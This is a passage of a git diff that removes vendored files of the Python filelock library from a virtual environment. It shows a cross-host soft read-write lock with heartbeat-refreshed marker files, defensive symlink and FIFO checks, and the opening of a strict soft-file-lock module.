None, *, blocking: bool | None = None) -> Generator[None]: - """ - Context manager that acquires and releases a shared read lock. - - Falls back to instance defaults for *timeout* and *blocking* when ``None``. - - :param timeout: maximum wait time in seconds, or ``None`` to use the instance default - :param blocking: if ``False``, raise :class:`~filelock.Timeout` immediately; ``None`` uses the instance default - - :raises RuntimeError: if a write lock is already held on this instance - :raises Timeout: if the lock cannot be acquired within *timeout* seconds - - """ - self.acquire_read(timeout, blocking=blocking) - try: - yield - finally: - self.release() - - @contextmanager - def write_lock(self, timeout: float | None = None, *, blocking: bool | None = None) -> Generator[None]: - """ - Context manager that acquires and releases an exclusive write lock. - - Falls back to instance defaults for *timeout* and *blocking* when ``None``. - - :param timeout: maximum wait time in seconds, or ``None`` to use the instance default - :param blocking: if ``False``, raise :class:`~filelock.Timeout` immediately; ``None`` uses the instance default - - :raises RuntimeError: if a read lock is already held, or a write lock is held by a different thread - :raises Timeout: if the lock cannot be acquired within *timeout* seconds - - """ - self.acquire_write(timeout, blocking=blocking) - try: - yield - finally: - self.release() - - def acquire_read(self, timeout: float | None = None, *, blocking: bool | None = None) -> AcquireReturnProxy: - """ - Acquire a shared read lock. - - If this instance already holds a read lock, the lock level is incremented (reentrant). Attempting to acquire a - read lock while holding a write lock raises :class:`RuntimeError` (downgrade not allowed). On the 0→1 - transition a daemon heartbeat thread is started that refreshes the reader marker's ``mtime`` every - ``heartbeat_interval`` seconds so peers on other hosts do not evict the marker as stale. - - :param timeout: maximum wait time in seconds, or ``None`` to use the instance default; ``-1`` means block - indefinitely - :param blocking: if ``False``, raise :class:`~filelock.Timeout` immediately when the lock is unavailable; - ``None`` uses the instance default - - :returns: a proxy that can be used as a context manager to release the lock - - :raises RuntimeError: if a write lock is already held on this instance, if this instance was invalidated by - :func:`os.fork`, or if :meth:`close` was called - :raises Timeout: if the lock cannot be acquired within *timeout* seconds - - """ - return self._acquire("read", timeout, blocking=blocking) - - def acquire_write(self, timeout: float | None = None, *, blocking: bool | None = None) -> AcquireReturnProxy: - """ - Acquire an exclusive write lock. - - If this instance already holds a write lock from the same thread, the lock level is incremented (reentrant). - Attempting to acquire a write lock while holding a read lock raises :class:`RuntimeError` (upgrade not - allowed). Write locks are pinned to the acquiring thread: a different thread trying to re-enter also raises - :class:`RuntimeError`. - - Writer acquisition runs in two phases. Phase 1 atomically claims ``.write`` via ``O_CREAT | O_EXCL``, - which immediately blocks any new reader on any host. Phase 2 waits for existing readers to drain. Writer - starvation is impossible: new readers see ``.write`` during phase 2 and wait behind the pending writer. - - :param timeout: maximum wait time in seconds, or ``None`` to use the instance default; ``-1`` means block - indefinitely - :param blocking: if ``False``, raise :class:`~filelock.Timeout` immediately when the lock is unavailable; - ``None`` uses the instance default - - :returns: a proxy that can be used as a context manager to release the lock - - :raises RuntimeError: if a read lock is already held, if a write lock is held by a different thread, if this - instance was invalidated by :func:`os.fork`, or if :meth:`close` was called - :raises Timeout: if the lock cannot be acquired within *timeout* seconds - - """ - return self._acquire("write", timeout, blocking=blocking) - - @classmethod - def get_lock( - cls, - lock_file: str | os.PathLike[str], - timeout: float = -1, - *, - blocking: bool = True, - ) -> SoftReadWriteLock: - """ - Return the singleton :class:`SoftReadWriteLock` for *lock_file*. - - :param lock_file: path to the lock file; sidecar state/write/readers live next to it - :param timeout: maximum wait time in seconds; ``-1`` means block indefinitely - :param blocking: if ``False``, raise :class:`~filelock.Timeout` immediately when the lock is unavailable - - :returns: the singleton lock instance - - :raises ValueError: if an instance already exists for this path with different *timeout* or *blocking* values - - """ - return cls(lock_file, timeout, blocking=blocking) - - def close(self) -> None: - """ - Release any held lock and release internal filesystem resources. - - Idempotent. After calling this method the instance can no longer acquire locks — subsequent acquires raise - :class:`RuntimeError`. A fork-invalidated instance is closed without raising. - """ - if self._creator_pid != os.getpid(): # pragma: forked child - return - self.release(force=True) - with self._locks.internal: - if self._closed: - return - self._closed = True - if self._readers_dir_fd is not None: # pragma: needs dir-fd - with _fork_transition(): - if self._readers_dir_fd_token is not None: # pragma: needs dir-fd - _unregister_owned_descriptor(self._readers_dir_fd_token) - self._readers_dir_fd_token = None - fd, self._readers_dir_fd = self._readers_dir_fd, None - with suppress(OSError): # pragma: needs dir-fd - os.close(fd) - - def release(self, *, force: bool = False) -> None: - """ - Release one level of the current lock. - - When the lock level reaches zero the heartbeat thread is stopped and the held marker file is unlinked. On a - fork-invalidated instance (that is, the child of a :func:`os.fork` call made while the parent held a lock) - this method is a no-op so inherited ``with`` blocks can unwind cleanly in the child. - - :param force: if ``True``, release the lock completely regardless of the current lock level - - :raises RuntimeError: if no lock is currently held and *force* is ``False`` - - """ - if self._creator_pid != os.getpid(): # pragma: forked child - return - with self._locks.internal: - hold = self._hold - if hold is None: - if force: - return - msg = f"Cannot release a lock on {self.lock_file} (lock id: {id(self)}) that is not held" - raise RuntimeError(msg) - if force: - hold.level = 0 - else: - hold.level -= 1 - if hold.level > 0: - return - self._hold = None - - # Order matters: signal → join → unlink. A late tick on a deleted marker is harmless and the - # heartbeat's token check would catch a re-acquisition race, but joining first removes that race. - hold.heartbeat_stop.set() - hold.heartbeat_thread.join(timeout=self.heartbeat_interval + 1.0) - if hold.is_reader: - _unlink(hold.marker_name, dir_fd=self._readers_dir_fd) - else: - self._unlink_writer_marker_if_ours(hold.token) - - def _unlink_writer_marker_if_ours(self, token: str) -> None: - # Remove the writer marker only while it still carries our token. If this holder was paused long - # enough (a stop-the-world GC pause, SIGSTOP, a suspended VM) for a peer to evict the marker as - # stale and claim the writer slot itself, the file now at .write is the peer's live marker; - # unlinking it by path would let a second writer through and break mutual exclusion. The state lock - # serializes this against a concurrent break/claim, and the heartbeat is already stopped, so the - # token we read is authoritative. Mirrors the token re-check the stale-break path already does. - with self._locks.state: - if (read := _read_marker(self._paths.write)) is None: - return - info, _ = read - if info is None or not hmac.compare_digest(info.token, token): - return - _unlink(self._paths.write) - - def _acquire( - self, - mode: _Mode, - timeout: float | None, - *, - blocking: bool | None, - ) -> AcquireReturnProxy: - if self._creator_pid != os.getpid(): # pragma: forked child - msg = f"SoftReadWriteLock on {self.lock_file} was invalidated by fork(); construct a new instance" - raise RuntimeError(msg) - timeout = self.timeout if timeout is None else timeout - blocking = self.blocking if blocking is None else blocking - - with self._locks.internal: - if self._closed: - msg = f"SoftReadWriteLock on {self.lock_file} has been closed" - raise RuntimeError(msg) - if self._hold is not None: - return self._validate_reentrant(mode) - - start = time.perf_counter() - if not blocking: - acquired = self._locks.transaction.acquire(blocking=False) - elif timeout == -1: - acquired = self._locks.transaction.acquire(blocking=True) - else: - acquired = self._locks.transaction.acquire(blocking=True, timeout=timeout) - if not acquired: - raise Timeout(self.lock_file) from None - try: - return self._do_acquire_inner(mode, timeout, start, blocking=blocking) - finally: - self._locks.transaction.release() - - def _do_acquire_inner( - self, - mode: _Mode, - effective_timeout: float, - start: float, - *, - blocking: bool, - ) -> AcquireReturnProxy: - with self._locks.internal: - if self._hold is not None: - return self._validate_reentrant(mode) - deadline = None if effective_timeout == -1 else start + effective_timeout - token = secrets.token_hex(16) - if mode == "write": - marker_name, is_reader = self._acquire_writer_slot(token, deadline=deadline, blocking=blocking) - else: - marker_name, is_reader = self._acquire_reader_slot(token, deadline=deadline, blocking=blocking) - stop_event = threading.Event() - heartbeat = _HeartbeatThread( - refresh=self._refresh_marker, - interval=self.heartbeat_interval, - stop_event=stop_event, - name=f"filelock-heartbeat-{id(self):x}", - ) - # Publish the hold and start its heartbeat under one internal-lock section, so a concurrent release() never - # observes a hold whose thread has not started and joins it. If the OS refuses the thread, clear the hold and - # unlink the marker we claimed: left in place, a peer evicts it as stale and acquires while this instance still - # believes it holds the lock. - start_error: BaseException | None = None - with self._locks.internal: - self._hold = _Hold( - level=1, - mode=mode, - write_thread_id=threading.get_ident() if mode == "write" else None, - marker_name=marker_name, - is_reader=is_reader, - token=token, - heartbeat_thread=heartbeat, - heartbeat_stop=stop_event, - ) - try: - heartbeat.start() - except BaseException as error: # ruff:ignore[blind-except] # clear the slot below and re-raise - self._hold = None - start_error = error - if start_error is not None: - if is_reader: - _unlink(marker_name, dir_fd=self._readers_dir_fd) - else: - self._unlink_writer_marker_if_ours(token) - raise start_error - return AcquireReturnProxy(lock=self) - - def _validate_reentrant(self, mode: _Mode) -> AcquireReturnProxy: - hold = self._hold - assert hold is not None # ruff:ignore[assert] # callers dispatch here only inside the self._hold is not None branch - if hold.mode != mode: - opposite = "write" if mode == "read" else "read" - direction = "downgrade" if mode == "read" else "upgrade" - msg = ( - f"Cannot acquire {mode} lock on {self.lock_file} (lock id: {id(self)}): " - f"already holding a {opposite} lock ({direction} not allowed)" - ) - raise RuntimeError(msg) - if mode == "write" and (cur := threading.get_ident()) != hold.write_thread_id: - msg = ( - f"Cannot acquire write lock on {self.lock_file} (lock id: {id(self)}) " - f"from thread {cur} while it is held by thread {hold.write_thread_id}" - ) - raise RuntimeError(msg) - hold.level += 1 - return AcquireReturnProxy(lock=self) - - def _acquire_writer_slot( - self, - token: str, - *, - deadline: float | None, - blocking: bool, - ) -> tuple[str, bool]: - # Phase 2 scans readers/ via dirfd (where supported), so we need it open even though writers never - # create files inside. - self._open_readers_dir() - - def try_claim_writer() -> bool: - with self._locks.state: - return self._claim_writer_marker(token) - - def readers_drained_touching() -> bool: - with self._locks.state: - # A peer may replace an expired marker while this process pauses. Refresh only our token; touching a - # successor's marker would let this acquisition proceed without owning the writer slot. - if not self._touch_writer_marker_if_ours(token) and not self._claim_writer_marker(token): - return False - self._break_stale_readers(time.time()) - return not self._any_readers() - - self._wait_for(try_claim_writer, deadline=deadline, blocking=blocking) - try: - self._wait_for(readers_drained_touching, deadline=deadline, blocking=blocking) - except Timeout: - # Give up our writer claim so readers can make progress again, but only while the marker is - # still ours: a peer may have evicted it as stale and claimed the slot while phase 2 waited. - self._unlink_writer_marker_if_ours(token) - raise - return self._paths.write, False - - def _claim_writer_marker(self, token: str) -> bool: - # Claim the writer slot for ``token``. Must be called holding ``self._locks.state``. Evicts a - # stale marker first, then refuses to claim while a live ``.write`` exists so a peer holding the - # slot is waited out instead of overwritten. - _break_stale_marker(self._paths.write, stale_threshold=self.stale_threshold, now=time.time()) - if _file_exists(self._paths.write): - return False - try: - _atomic_create_marker(self._paths.write, token) - except FileExistsError: - return False - return True - - def _touch_writer_marker_if_ours(self, token: str) -> bool: - # Refresh the writer marker through a single O_NOFOLLOW fd, but only while it still carries our - # token. Returns False when the marker is gone or now belongs to a peer that reclaimed the slot, - # so the caller can re-claim rather than keep a stranger's marker alive. Mirrors _refresh_marker. - fd = _open_marker(self._paths.write) - if fd is None: - return False - try: - try: - data = os.read(fd, _MAX_MARKER_SIZE + 1) - except OSError: # pragma: no cover - e.g. EAGAIN from a hostile FIFO that has a writer attached - return False - info = _parse_marker_bytes(data) - if info is None or not hmac.compare_digest(info.token, token): - return False - with suppress(OSError): - touch(self._paths.write, fd=fd) - return True - finally: - os.close(fd) - - def _acquire_reader_slot( - self, - token: str, - *, - deadline: float | None, - blocking: bool, - ) -> tuple[str, bool]: - self._open_readers_dir() - reader_name = f"{uuid.uuid4().hex}.{os.getpid()}" - dir_fd = self._readers_dir_fd - full_reader_path = str(Path(self._paths.readers) / reader_name) - - def try_claim_reader() -> bool: - with self._locks.state: - _break_stale_marker(self._paths.write, stale_threshold=self.stale_threshold, now=time.time()) - if _file_exists(self._paths.write): - return False - if dir_fd is not None: # pragma: needs dir-fd - _atomic_create_marker(reader_name, token, dir_fd=dir_fd) - else: # pragma: win32 cover - _atomic_create_marker(full_reader_path, token) - return True - - self._wait_for(try_claim_reader, deadline=deadline, blocking=blocking) - return (reader_name if dir_fd is not None else full_reader_path), True - - def _wait_for( - self, - predicate: Callable[[], bool], - *, - deadline: float | None, - blocking: bool, - ) -> None: - while True: - if predicate(): - return - now = time.perf_counter() - if not blocking: - raise Timeout(self.lock_file) - if deadline is not None and now >= deadline: - raise Timeout(self.lock_file) - sleep_for = self.poll_interval - if deadline is not None: - sleep_for = min(sleep_for, max(deadline - now, 0.0)) - time.sleep(sleep_for) - - def _open_readers_dir(self) -> None: - readers_path = Path(self._paths.readers) - with suppress(FileExistsError): - readers_path.mkdir(mode=0o700) - # mkdir has no O_NOFOLLOW, so verify via lstat that we did not land on an attacker-placed symlink - # or a regular file before we open or scan inside. - st = os.lstat(self._paths.readers) - if stat.S_ISLNK(st.st_mode) or not stat.S_ISDIR(st.st_mode): - msg = f"{self._paths.readers} exists but is not a directory or is a symlink; refusing to use it" - raise RuntimeError(msg) - if self._readers_dir_fd is None and _SUPPORTS_DIR_FD: # pragma: needs dir-fd - with _fork_transition(): - fd = os.open(self._paths.readers, os.O_RDONLY | getattr(os, "O_DIRECTORY", 0) | _O_NOFOLLOW) - try: - token = _register_owned_descriptor(fd) - except BaseException as registration_error: - try: - os.close(fd) - except BaseException as close_error: # ruff:ignore[blind-except] # both errors surface via the group below - _raise_grouped_errors( - "reader directory registration and descriptor close both failed", - registration_error, - close_error, - ) - raise - self._readers_dir_fd = fd - self._readers_dir_fd_token = token - - def _any_readers(self) -> bool: - with closing(self._iter_reader_entries()) as entries: - for _ in entries: - return True - return False - - def _iter_reader_entries(self) -> Generator[tuple[str, bool]]: - """ - Yield ``(name, dirfd_relative)`` pairs for every live reader marker. - - ``dirfd_relative`` is ``True`` when *name* should be passed to ``dir_fd=``-aware syscalls; ``False`` - when *name* is a full path because dirfd-relative I/O is unavailable on this platform. - - A consumer that stops early must close this generator: while suspended it holds the ``scandir`` handle open, - and leaving that to the collector surfaces as an unraisable exception inside whatever runs next. - """ - if self._readers_dir_fd is not None: # pragma: needs dir-fd - with os.scandir(self._readers_dir_fd) as it: - for entry in it: - if not _is_housekeeping_name(entry.name): - yield entry.name, True - return - readers_path = Path(self._paths.readers) # pragma: win32 cover - with os.scandir(readers_path) as it: # pragma: win32 cover - for entry in it: # pragma: win32 cover - if not _is_housekeeping_name(entry.name): # pragma: win32 cover - yield str(readers_path / entry.name), False # pragma: win32 cover - - def _break_stale_readers(self, now: float) -> None: - names: list[tuple[str, int | None]] = [] - try: - with closing(self._iter_reader_entries()) as entries: - for name, dirfd_relative in entries: - names.append((name, self._readers_dir_fd if dirfd_relative else None)) - except OSError: # pragma: no cover - transient NFS scandir hiccup - return - for name, fd in names: - _break_stale_marker(name, stale_threshold=self.stale_threshold, now=now, dir_fd=fd) - - def _refresh_marker(self) -> bool: - with self._locks.internal: - hold = self._hold - if hold is None: # pragma: no cover - race between stop_event.set and join - return False - marker_name = hold.marker_name - token = hold.token - dir_fd = self._readers_dir_fd if hold.is_reader else None - - # Open once with O_NOFOLLOW and touch that exact descriptor. Refreshing through the verified fd - # (instead of re-opening by name) closes the window where a peer unlinks our marker and drops a symlink - # or a different file at the path between the read and the touch: utime then lands on the inode we - # verified, or nowhere. Only an unambiguous loss stops the heartbeat: the marker gone, or a peer's token - # in its place. A transient filesystem error (ESTALE / EIO on the NFS-style filesystems this lock targets) - # keeps the heartbeat alive to retry next tick, the way the touch below already does, so one blip does not - # silently drop a held lock. - try: - fd = _open_marker_fd(marker_name, dir_fd=dir_fd) - except FileNotFoundError: - return False - except OSError: - return True - try: - try: - data = _read_marker_fd(fd) - except OSError: # a transient read error or EAGAIN from a hostile FIFO; retry rather than drop the lock - return True - info = _parse_marker_bytes(data) - # Token mismatch means another process already evicted our marker and created its own; stop the - # thread so it does not keep a stranger's file alive. - if info is None or not hmac.compare_digest(info.token, token): - return False - # A transient touch failure (ESTALE / EIO on the NFS-style filesystems this lock targets) must not - # kill the heartbeat thread: the read above just confirmed the marker is still ours, so swallow the - # error and retry on the next tick rather than letting the lease lapse while we still hold the lock. - with suppress(OSError): - touch(marker_name, fd=fd) - return True - finally: - os.close(fd) - - def _reset_after_fork_in_child(self) -> None: # pragma: forked child - self._locks = _Locks( - internal=threading.Lock(), - transaction=threading.Lock(), - state=self._locks.state, - ) - self._hold = None - self._readers_dir_fd = None - self._readers_dir_fd_token = None - - -class _HeartbeatThread(threading.Thread): - def __init__( - self, - refresh: Callable[[], bool], - interval: float, - stop_event: threading.Event, - name: str, - ) -> None: - super().__init__(name=name, daemon=True) - self._refresh = refresh - self._interval = interval - self._stop_event = stop_event - - def run(self) -> None: - while not self._stop_event.wait(self._interval): - if not self._refresh(): - self._stop_event.set() - return - - -def _read_marker(name: str, *, dir_fd: int | None = None) -> tuple[_MarkerInfo | None, float] | None: - fd = _open_marker(name, dir_fd=dir_fd) - if fd is None: - return None - try: - st = os.fstat(fd) - # A legitimate marker is a regular file, so anything else at the path (a FIFO, say) is reported as a - # malformed marker (its mtime still drives stale eviction) without being read. Reading is where - # platforms diverge: an empty non-blocking read yields 0 bytes on Linux/macOS but EAGAIN on FreeBSD, - # and the EAGAIN used to abort the stale-break and wedge the acquire until timeout (#587). - if not stat.S_ISREG(st.st_mode): # pragma: needs fifo - return None, st.st_mtime - data = os.read(fd, _MAX_MARKER_SIZE + 1) - except OSError: # pragma: no cover - marker vanished or turned unreadable between open and read - return None - finally: - os.close(fd) - return _parse_marker_bytes(data), st.st_mtime - - -def _read_marker_fd(fd: int) -> bytes: - return os.read(fd, _MAX_MARKER_SIZE + 1) - - -def _open_marker_fd(name: str, *, dir_fd: int | None = None) -> int: - # The file is ours; these guard a hostile mid-flight swap. O_NOFOLLOW rejects a symlink; O_NONBLOCK keeps - # a real FIFO from blocking the open forever, so it reads as a malformed marker instead of wedging a peer - # that holds the state lock. - flags = os.O_RDONLY | _O_NOFOLLOW | _O_NONBLOCK - return os.open(name, flags, dir_fd=dir_fd) if _SUPPORTS_DIR_FD and dir_fd is not None else os.open(name, flags) - - -def _open_marker(name: str, *, dir_fd: int | None = None) -> int | None: - try: - return _open_marker_fd(name, dir_fd=dir_fd) - except OSError: - return None - - -def _parse_marker_bytes(data: bytes) -> _MarkerInfo | None: - # Trust nothing about attacker-controlled markers; any deviation returns None so callers fall through - # to stale cleanup. ``re.match`` caches compiled patterns internally, so the regex is built only once - # despite being defined inline. - if not data or len(data) > _MAX_MARKER_SIZE: - return None - try: - text = data.decode("ascii") - except UnicodeDecodeError: - return None - match = re.match( - r""" - \A # start of string - (?P [0-9a-f]{32} ) \n # 128-bit hex token - (?P [1-9][0-9]{0,9} ) \n # decimal pid: no leading zero, ≤ 10 digits - (?P [\x21-\x7e]{1,253}) # printable non-whitespace ASCII (RFC 1123 hostname limit) - \n* # tolerate sloppy writers that append extra newlines - \Z # end of string - """, - text, - re.VERBOSE, - ) - if match is None: - return None - pid = int(match["pid"], 10) - if pid > 2**31 - 1: - return None - return _MarkerInfo(token=match["token"], pid=pid, hostname=match["hostname"]) - - -def _unlink(name: str, *, dir_fd: int | None = None) -> None: - with suppress(FileNotFoundError): - if _SUPPORTS_DIR_FD and dir_fd is not None: # pragma: needs dir-fd - # Path.unlink has no dir_fd support, so we stay on os.unlink for the dirfd path. - os.unlink(name, dir_fd=dir_fd) - else: - Path(name).unlink() - - -def _break_stale_marker( # ruff:ignore[too-many-return-statements] # each return is a distinct abort/commit point in the break protocol - name: str, - *, - stale_threshold: float, - now: float, - dir_fd: int | None = None, -) -> bool: - # Atomic break pattern: read → rename to unique break-name → re-verify → unlink. The rename gives us a - # private name nobody else can touch; if the re-verify sees a newer mtime or a different token, the - # legitimate holder's heartbeat fired between read and rename and we must abort (leaving the .break.* - # file behind rather than rollback-renaming, because rollback is itself racy). - if (read_result := _read_marker(name, dir_fd=dir_fd)) is None: - return False - info_before, mtime_before = read_result - if now - mtime_before <= stale_threshold: - return False - if info_before is None: - _unlink(name, dir_fd=dir_fd) - return True - - break_name = f"{name}{_BREAK_SUFFIX}.{os.getpid()}.{secrets.token_hex(16)}" - try: - if _SUPPORTS_DIR_FD and dir_fd is not None: # pragma: needs dir-fd - os.rename(name, break_name, src_dir_fd=dir_fd, dst_dir_fd=dir_fd) - else: - Path(name).rename(break_name) - except OSError: # pragma: no cover - race where the marker vanishes between read and rename - return False - - read_after = _read_marker(break_name, dir_fd=dir_fd) - if read_after is None: # pragma: no cover - race where a peer unlinks the break-name file - return False - info_after, mtime_after = read_after - if info_after is None: # pragma: no cover - content replaced post-rename by a racing peer - _unlink(break_name, dir_fd=dir_fd) - return True - if not hmac.compare_digest(info_before.token, info_after.token): # pragma: no cover - race only - return False - if mtime_after > mtime_before: # pragma: no cover - heartbeat raced our rename - return False - _unlink(break_name, dir_fd=dir_fd) - return True - - -def _atomic_create_marker(name: str, token: str, *, dir_fd: int | None = None) -> None: - # O_NOFOLLOW blocks the symlink-overwrite attack where an attacker pre-creates the marker path as a - # symlink pointing at a victim file. Mode 0o600 keeps the token unreadable to other users. - flags = os.O_CREAT | os.O_EXCL | os.O_WRONLY | _O_NOFOLLOW - if _SUPPORTS_DIR_FD and dir_fd is not None: # pragma: needs dir-fd - fd = os.open(name, flags, 0o600, dir_fd=dir_fd) - else: - fd = os.open(name, flags, 0o600) - # Write the whole record before the marker counts as created. On failure remove it only while the path still names - # the file we opened, so a rollback never deletes a marker a concurrent reader recreated at this name. - identity: tuple[int, int] | None = None - try: - st = os.fstat(fd) - identity = st.st_dev, st.st_ino - write_all(fd, f"{token}\n{os.getpid()}\n{socket.gethostname()}\n".encode("ascii")) - except BaseException: - os.close(fd) - if identity is not None and _same_file(name, identity, dir_fd=dir_fd): - _unlink(name, dir_fd=dir_fd) - raise - else: - os.close(fd) - - -def _same_file(name: str, identity: tuple[int, int], *, dir_fd: int | None) -> bool: - try: - st = os.lstat(name, dir_fd=dir_fd) if _SUPPORTS_DIR_FD and dir_fd is not None else os.lstat(name) - except OSError: - return False - return (st.st_dev, st.st_ino) == identity - - -def _file_exists(path: str) -> bool: - try: - st = os.lstat(path) - except FileNotFoundError: - return False - return stat.S_ISREG(st.st_mode) - - -def _is_housekeeping_name(name: str) -> bool: - return name.startswith(".") or _BREAK_SUFFIX in name - - -@dataclass(frozen=True) -class _Paths: - state: str - write: str - readers: str - - -@dataclass -class _Locks: - internal: threading.Lock - transaction: threading.Lock - state: SoftFileLock - - -@dataclass(frozen=True) -class _MarkerInfo: - token: str - pid: int - hostname: str - - -@dataclass -class _Hold: - """Everything that exists only while a lock is held; ``None`` when the instance has no lock.""" - - level: int - mode: _Mode - write_thread_id: int | None - marker_name: str - is_reader: bool - token: str - heartbeat_thread: _HeartbeatThread - heartbeat_stop: threading.Event - - -def _cleanup_all_instances() -> None: # pragma: no cover - runs from atexit at interpreter shutdown - for instance in list(_ALL_INSTANCES.values()): - with suppress(Exception): - instance.release(force=True) - - -atexit.register(_cleanup_all_instances) -_register_fork_class(SoftReadWriteLock) - - -__all__ = [ - "SoftReadWriteLock", -] diff --git a/venv/Lib/site-packages/filelock/_strict.py b/venv/Lib/site-packages/filelock/_strict.py deleted file mode 100644 index e71eb3350fd8525f00aa999516d49225136d4c9d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock/_strict.py +++ /dev/null @@ -1,874 +0,0 @@ -from __future__ import annotations - -import contextlib -import errno -import os -import secrets -import stat -import sys -import tempfile -import time -from dataclasses import dataclass -from errno import EACCES, EEXIST, ENOENT, ENOSYS, EPERM, ESTALE, EXDEV -from pathlib import Path -from typing import TYPE_CHECKING, Final, Literal, cast - -from ._api import BaseFileLock, _canonical, _raise_cleanup_errors -from ._error import SoftFileLockProtocolError -from ._identity import host_name, process_start_token -from ._soft_protocol import STRICT_SOFT_SENTINEL_RECORD -from ._util import ensure_directory_exists, write_all - -if TYPE_CHECKING: - from collections.abc import Iterator - -StrictSoftFileClaimState = Literal["intent", "held"] - -_CLAIM_STATES: Final[frozenset[str]] = frozenset({"intent", "held"}) -_COORDINATION_SUFFIX: Final[str] = ".filelock" -_CLAIM_DIRECTORY_NAME: Final[str] = "claims" -_CLAIM_MAGIC: Final[str] = "filelock-strict-v1" -_CLAIM_RECORD_LIMIT: Final[int] = 1024 -_CLAIM_NAME_PART_COUNT: Final[int] = 3 -_TOKEN_HEX_LENGTH: Final[int] = 32 -_PRIVATE_RECORD_MARKER: Final[str] = ".private-v1-" -_PRIVATE_RECORD_SUFFIX: Final[str] = ".tmp" -_PRIVATE_RECORD_RANDOM_HEX_LENGTH: Final[int] = 32 -_PRIVATE_RECORD_GRACE: Final[float] = 2.0 -_UNLINK_MAX_RETRIES: Final[int] = 10 -#: How long a scan waits out a claim held in Windows' delete-pending state before treating it as unreadable. -_CLAIM_READ_GRACE: Final[float] = 0.5 -_CLAIM_READ_RETRY: Final[float] = 0.002 -#: Windows opens descriptors in text mode by default, which rewrites newlines and truncates a record at a control byte. -#: The claim and sentinel records are exact binary, so every record descriptor must be binary; POSIX ignores the flag. -_O_BINARY: Final[int] = getattr(os, "O_BINARY", 0) -_LEGACY_SENTINEL: Final[bytes] = STRICT_SOFT_SENTINEL_RECORD.encode() -_WINDOWS_HARD_LINK_UNSUPPORTED: Final[frozenset[int]] = frozenset({1, 17, 50}) - -# Termux/Android CPython ships without os.link (bionic long had only linkat), so the strict backend's whole hard-link -# mechanism is absent there. Probe once and gate every os.link reference on it, so importing filelock still works and -# only an actual StrictSoftFileLock acquire reports the missing capability. -_HAS_LINK: Final[bool] = hasattr(os, "link") - -# Probe dir_fd capability once at import. A per-call ``os.unlink in os.supports_dir_fd`` check flips to False the moment -# a test mocks os.unlink, silently diverting the code to a different branch than the one under test. -_OPEN_SUPPORTS_DIR_FD: Final[bool] = os.open in os.supports_dir_fd -_UNLINK_SUPPORTS_DIR_FD: Final[bool] = os.unlink in os.supports_dir_fd -_STAT_SUPPORTS_DIR_FD: Final[bool] = os.stat in os.supports_dir_fd -_LINK_SUPPORTS_DIR_FD: Final[bool] = _HAS_LINK and os.link in os.supports_dir_fd - - -def _probe_link_follow_symlinks() -> bool: - # os.supports_follow_symlinks lists os.link on PyPy, but its linkat then rejects follow_symlinks=False with EINVAL, - # and Windows raises NotImplementedError for the option outright. Link a throwaway file for real so the answer - # reflects the runtime rather than its advertisement, and treat any failure as "not honored": the option only - # hardens a source this process created with O_EXCL, so skipping it is safe, and a real environment fault surfaces - # when the actual link runs. - if not _HAS_LINK: - return False - try: - with tempfile.TemporaryDirectory() as directory: - source = Path(directory, "probe-source") - source.touch() - os.link(source, Path(directory, "probe-link"), follow_symlinks=False) - except (OSError, NotImplementedError, ValueError): - return False - return True - - -_LINK_HONORS_FOLLOW_SYMLINKS: Final[bool] = _probe_link_follow_symlinks() - - -def _probe_hard_link_unsupported_errnos() -> frozenset[int]: - # GraalPy's errno omits ENOTSUP, so importing the name outright breaks every runtime that ships without it. ENOTSUP - # wins wherever it exists, leaving every runtime that names it unchanged. EOPNOTSUPP only stands in for the ones - # that do not, and it approximates rather than matches: the two codes agree on Linux but differ on macOS/BSD and on - # Windows. Where neither exists a runtime that cannot name "operation not supported" cannot raise it either, and - # ENOSYS/EXDEV still classify the link failures it can raise. - not_supported = getattr(errno, "ENOTSUP", getattr(errno, "EOPNOTSUPP", None)) - return frozenset({ENOSYS, EXDEV} if not_supported is None else {ENOSYS, EXDEV, not_supported}) - - -_HARD_LINK_UNSUPPORTED_ERRNOS: Final[frozenset[int]] = _probe_hard_link_unsupported_errnos() - - -class StrictSoftFileLock(BaseFileLock): - """Portable fail-closed lock based on immutable owner claims.""" - - _preserve_lock_file_supported: bool = True - _on_acquired_supported: bool = False - #: Age cannot clear a strict claim: expiring one on a clock is the overlap the fail-closed contract exists to rule - #: out, so only force_break() removes it. - _lifetime_supported: bool = False - _lifetime_unsupported_reason: str = "a strict claim is never broken by age, only by force_break()" - #: The claim doorway publishes an intent and a held record per owner, so a shared instance must serialize them. - _serialize_transitions: bool = True - #: Contending processes each publish and rescan several files, so back their retries off across a jittered window - #: rather than let them collide on every poll. Seconds; keeps a waiter responsive once it wins. - _poll_backoff_cap: float = 0.05 - - def _acquire(self) -> None: - # Resolve once per acquisition, not per poll: a waiter on a relative path must keep publishing into the - # directory it started waiting in even when another thread changes the working directory mid-wait. - if (claim_root := self._context.claim_root) is None: - claim_root = self._context.claim_root = _canonical(self.lock_file) - lock_path = Path(claim_root) - coordination_directory = Path(f"{lock_path}{_COORDINATION_SUFFIX}") - claim_directory = coordination_directory / _CLAIM_DIRECTORY_NAME - ensure_directory_exists(os.fspath(lock_path)) - _ensure_protocol_directory(self.lock_file, coordination_directory) - _ensure_protocol_directory(self.lock_file, claim_directory) - if (sentinel_fd := _open_or_create_sentinel(self.lock_file, lock_path, self._open_mode())) is None: - return - try: - sentinel_identity = _file_identity(os.fstat(sentinel_fd)) - except BaseException as inspection_error: # preserve inspection and descriptor cleanup errors - try: - os.close(sentinel_fd) - except BaseException as close_error: # ruff:ignore[blind-except] # preserve inspection and descriptor cleanup errors - _raise_cleanup_errors("strict sentinel inspection cleanup failed", inspection_error, close_error) - raise - self._mark_descriptor_pending(sentinel_fd, sentinel_identity) - try: - self._attempt_doorway(claim_directory, sentinel_fd, sentinel_identity) - except BaseException: - if self._context.pending_lock_file_fd == sentinel_fd: - self._discard_doorway(sentinel_fd, sentinel_identity) - raise - - def _attempt_doorway(self, claim_directory: Path, sentinel_fd: int, sentinel_identity: tuple[int, int]) -> None: - if _read_existing_claims(self.lock_file, claim_directory): - self._discard_doorway(sentinel_fd, sentinel_identity) - return - - token = secrets.token_hex(_TOKEN_HEX_LENGTH // 2) - intent_name = _claim_name("intent", token) - intent_path = str(claim_directory / intent_name) - try: - publication_cleanup_error = _publish_record(intent_path, _claim_record(token), self._open_mode()) - except _PrivateRecordReclaimedError: - self._discard_doorway(sentinel_fd, sentinel_identity) - return - except (NotImplementedError, OSError) as error: - _raise_if_hard_links_unsupported(self.lock_file, error) - if isinstance(error, OSError) and error.errno == EEXIST: - self._discard_doorway(sentinel_fd, sentinel_identity) - return - raise - if publication_cleanup_error is not None: # 